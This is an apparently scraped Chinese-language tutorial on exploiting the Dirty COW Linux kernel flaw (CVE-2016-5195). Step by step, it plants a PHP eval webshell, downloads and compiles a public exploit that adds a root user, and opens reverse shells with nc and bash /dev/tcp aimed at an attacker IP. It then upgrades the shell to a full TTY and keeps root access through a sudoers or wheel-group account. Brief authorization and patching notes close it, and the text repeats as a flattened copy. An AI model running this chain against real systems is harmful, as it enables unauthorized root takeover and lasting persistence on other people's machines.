脏牛提权复现以及如何得到一个完全交互的shell
字数 1324 2025-08-05 08:17:55

脏牛漏洞(CVE-2016-5195)提权复现与完全交互式Shell获取指南

漏洞概述

漏洞名称:脏牛漏洞(Dirty COW, CVE-2016-5195)
漏洞类型:Linux内核本地提权漏洞
存在时间:2007年至2016年(约9年)
修复时间:2016年10月18日

漏洞原理

该漏洞存在于Linux内核的get_user_page函数中,在处理Copy-on-Write(COW)机制时产生竞态条件,导致COW过程被破坏。这使得攻击者能够向进程地址空间内的只读内存区域写入数据,从而可以修改关键系统文件如supasswd来实现提权。

影响范围

以下内核版本存在漏洞:

  • CentOS 7/RHEL 7: 低于3.10.0-327.36.3.el7
  • CentOS 6/RHEL 6: 低于2.6.32-642.6.2.el6
  • Ubuntu 16.10: 低于4.8.0-26.28
  • Ubuntu 16.04: 低于4.4.0-45.66
  • Ubuntu 14.04: 低于3.13.0-100.147
  • Debian 8: 低于3.16.36-1+deb8u2
  • Debian 7: 低于3.2.82-1

环境准备

测试环境搭建

  1. 安装Web服务

    yum -y install httpd php
    service httpd start
    
  2. 关闭SELinux

    setenforce 0
    
  3. 开放80端口

    /sbin/iptables -I INPUT -p tcp --dport 80 -j ACCEPT
    service httpd restart
    
  4. 验证防火墙状态

    service iptables status
    
  5. 创建测试Webshell

    echo "<?php eval($_REQUEST[123]);?>" > /var/www/html/shell.php
    

提权过程

1. 获取初始访问权限

通过Webshell连接工具(如蚁剑)获取低权限shell(通常为apache用户权限)。

2. 上传并编译EXP

  1. 下载脏牛EXP

    wget https://github.com/FireFart/dirtycow/raw/master/dirty.c -O /tmp/dirty.c
    
  2. 编译EXP

    cd /tmp
    gcc -pthread dirty.c -o dirty -lcrypt
    

3. 执行提权

./dirty 123

此命令会:

  • 创建一个名为firefart的超级用户
  • 密码为123
  • 备份原始/etc/passwd/tmp/passwd.bak

4. 验证提权

检查/etc/passwd文件:

cat /etc/passwd | grep firefart

获取完全交互式Shell

1. 解决su交互问题

通过Webshell直接执行su可能会失败,因为获得的shell不是完全交互式的。解决方法:

python -c 'import pty; pty.spawn("/bin/sh")'
# 或
python -c 'import pty; pty.spawn("/bin/bash")'

2. 使用NC反弹完全交互式Shell

方法一(目标主机有nc):

nc 攻击机IP 1234 -e /bin/sh

方法二(目标主机无nc):

bash -i >& /dev/tcp/攻击机IP/1234 0>&1

在攻击机上监听:

nc -lvnp 1234

3. 修复半交互式Shell问题

如果获得的shell仍然无法正常交互:

  1. Ctrl-Z将当前进程放到后台并暂停
  2. 设置终端:
    stty raw -echo
    
  3. 将进程调回前台:
    fg
    

权限维持

1. 恢复原始passwd文件

mv /tmp/passwd.bak /etc/passwd

2. 创建持久性root权限用户

  1. 添加普通用户

    adduser qaz
    passwd qaz
    
  2. 赋予root权限
    编辑/etc/sudoers文件,在root ALL=(ALL) ALL下方添加:

    qaz ALL=(ALL) ALL
    

    或直接添加到wheel组:

    usermod -aG wheel qaz
    

注意事项

  1. 操作完成后务必恢复原始passwd文件,避免系统异常
  2. 创建的持久性用户应使用强密码
  3. 在实际渗透测试中,应获得授权后再进行此类操作
  4. 漏洞修复后应及时更新内核

防御措施

  1. 及时更新系统内核
  2. 限制非特权用户对关键文件的访问权限
  3. 启用SELinux等安全机制
  4. 监控系统关键文件(如/etc/passwd)的修改

通过以上步骤,可以完整复现脏牛漏洞的提权过程,并获得一个完全交互式的root权限shell,同时实现权限的持久化维持。

脏牛漏洞(CVE-2016-5195)提权复现与完全交互式Shell获取指南 漏洞概述 漏洞名称 :脏牛漏洞(Dirty COW, CVE-2016-5195) 漏洞类型 :Linux内核本地提权漏洞 存在时间 :2007年至2016年(约9年) 修复时间 :2016年10月18日 漏洞原理 该漏洞存在于Linux内核的 get_user_page 函数中,在处理Copy-on-Write(COW)机制时产生竞态条件,导致COW过程被破坏。这使得攻击者能够向进程地址空间内的只读内存区域写入数据,从而可以修改关键系统文件如 su 或 passwd 来实现提权。 影响范围 以下内核版本存在漏洞: CentOS 7/RHEL 7: 低于3.10.0-327.36.3.el7 CentOS 6/RHEL 6: 低于2.6.32-642.6.2.el6 Ubuntu 16.10: 低于4.8.0-26.28 Ubuntu 16.04: 低于4.4.0-45.66 Ubuntu 14.04: 低于3.13.0-100.147 Debian 8: 低于3.16.36-1+deb8u2 Debian 7: 低于3.2.82-1 环境准备 测试环境搭建 安装Web服务 : 关闭SELinux : 开放80端口 : 验证防火墙状态 : 创建测试Webshell : 提权过程 1. 获取初始访问权限 通过Webshell连接工具(如蚁剑)获取低权限shell(通常为apache用户权限)。 2. 上传并编译EXP 下载脏牛EXP : 编译EXP : 3. 执行提权 此命令会: 创建一个名为 firefart 的超级用户 密码为 123 备份原始 /etc/passwd 到 /tmp/passwd.bak 4. 验证提权 检查 /etc/passwd 文件: 获取完全交互式Shell 1. 解决su交互问题 通过Webshell直接执行 su 可能会失败,因为获得的shell不是完全交互式的。解决方法: 2. 使用NC反弹完全交互式Shell 方法一 (目标主机有nc): 方法二 (目标主机无nc): 在攻击机上监听: 3. 修复半交互式Shell问题 如果获得的shell仍然无法正常交互: 按 Ctrl-Z 将当前进程放到后台并暂停 设置终端: 将进程调回前台: 权限维持 1. 恢复原始passwd文件 2. 创建持久性root权限用户 添加普通用户 : 赋予root权限 : 编辑 /etc/sudoers 文件,在 root ALL=(ALL) ALL 下方添加: 或直接添加到wheel组: 注意事项 操作完成后务必恢复原始 passwd 文件,避免系统异常 创建的持久性用户应使用强密码 在实际渗透测试中,应获得授权后再进行此类操作 漏洞修复后应及时更新内核 防御措施 及时更新系统内核 限制非特权用户对关键文件的访问权限 启用SELinux等安全机制 监控系统关键文件(如/etc/passwd)的修改 通过以上步骤,可以完整复现脏牛漏洞的提权过程,并获得一个完全交互式的root权限shell,同时实现权限的持久化维持。